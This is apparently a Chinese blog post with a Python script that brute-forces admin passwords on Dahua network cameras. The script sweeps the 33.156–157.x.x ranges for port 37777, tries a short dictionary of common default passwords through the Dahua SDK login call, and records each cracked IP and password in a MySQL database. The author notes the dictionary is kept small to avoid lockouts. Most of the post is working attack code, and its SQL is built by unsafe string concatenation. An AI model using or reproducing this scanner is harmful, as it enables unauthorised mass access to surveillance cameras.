python 大华设备密码爆破
网段内相机密码复杂,一个段可能有好几个不同的密码,登录的时候试密码简直心态炸裂,写了个脚本尝试密码爆破,并保存到数据库
脚本通过调用大华SDK dhnetsdk.dll模块的CLIENT_Login函数实现登录功能
登录成功后函数返回一个不为0的id,可以凭此判断密码是否正确
字典不要放太多密码,否则会锁定
#! -*- coding: utf-8 -*-
#by:Luz
import pymysql
from ctypes import *
import socket
libc = windll.LoadLibrary('./dhnetsdk.dll')
g_bNetSDKInitFlag = False
def InitTest(): #打印模块信息
print(libc.CLIENT_Init)
id = create_string_buffer(1024)
char = create_string_buffer(1024)
long = create_string_buffer(1024)
word = create_string_buffer(1024)
g_bNetSDKInitFlag = libc.CLIENT_Init(DisConnect(id, char, long, word), 0)
if not g_bNetSDKInitFlag:
print("Initialize False")
else:
print("Initialize client SDK done; \n")
dwNetSDKVersion = libc.CLIENT_GetSDKVersion()
print("NetSDK version is %d" % dwNetSDKVersion)
def DisConnect( lLoginID, pchDVRIP, nDVRPort, dwUser):
print("Call HaveReConnect \n")
print("lLoginID[ 0x%x ]", lLoginID)
if pchDVRIP:
print("pchDVRIP[%s]\n", pchDVRIP)
print("nDVRPort[%d]\n", nDVRPort)
print('dwUser[%p]\n', dwUser)
print( "\n")
def loginn(ipaddr,port,username,passwd,x,y): #调用动态链接库实现登录
code=libc.CLIENT_Login(ipaddr,port,username,passwd,x,y)
if(str(code)!='0'):
print(ipaddr.decode(),username.decode(),passwd.decode())
return code
def main():
passwddict=['admin12345','a12345678@','a12345678'] #密码字典
#passwddict=['admin12345','a12345678@','a12345678','admin123','admin']
i=c_int(13)
ipcamID=c_long()
InitTest()
for ip_b in [156,157]:
for ip_c in range(2,255):
for ip_d in range(1,255): #遍历BCD段地址
sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sk.settimeout(0.3)
ip='33.'+str(ip_b)+'.'+str(ip_c)+'.'+str(ip_d)
try:
sk.connect((ip,37777)) #判断是否为大华设备(37777端口),一般不会改且所有相机该端口都开放
except:
print(ip,'未开放')
continue
findflag=0
for passwd in passwddict:
if(loginn(ip.encode(),37777,b'admin',passwd.encode(),0, byref(i))!=0):
mysqll=pymysql.connect(host='',user='',password='',database='')
findflag=1
sqll="""INSERT INTO `cxdw`(`ip`, `username`, `password`) VALUES ("""+"\""+ip+"\""+','+"\""+"admin"+"\""+','+"\""+passwd+"\""+')' #找到密码,插入数据库
cursor=mysqll.cursor()
try:
cursor.execute(sqll)
mysqll.commit()
except:
print(0)
mysqll.close()
#print(sqll)
break
if(findflag==0): #未找到密码,数据库中插入notfound
print(ip,"未找到密码")
mysqll=pymysql.connect(host='',user='',password='',database='')
sqll="""INSERT INTO `cxdw`(`ip`, `username`, `password`) VALUES ("""+"\""+ip+"\""+','+"\""+"admin"+"\""+','+"\""+"notfound"+"\""+')'
cursor=mysqll.cursor()
try:
cursor.execute(sqll)
mysqll.commit()
except:
print(1)
mysqll.close()
#loginn(b"33.156.7.199",37777,b'admin',b'admin12345',0, byref(i)) #loginn函数调用实例,分别为设备ip、端口(默认37777),用户名,密码,0,13(注意为c_int)
if __name__ == '__main__':
main()运行效果(数据库)
运行截图(console)

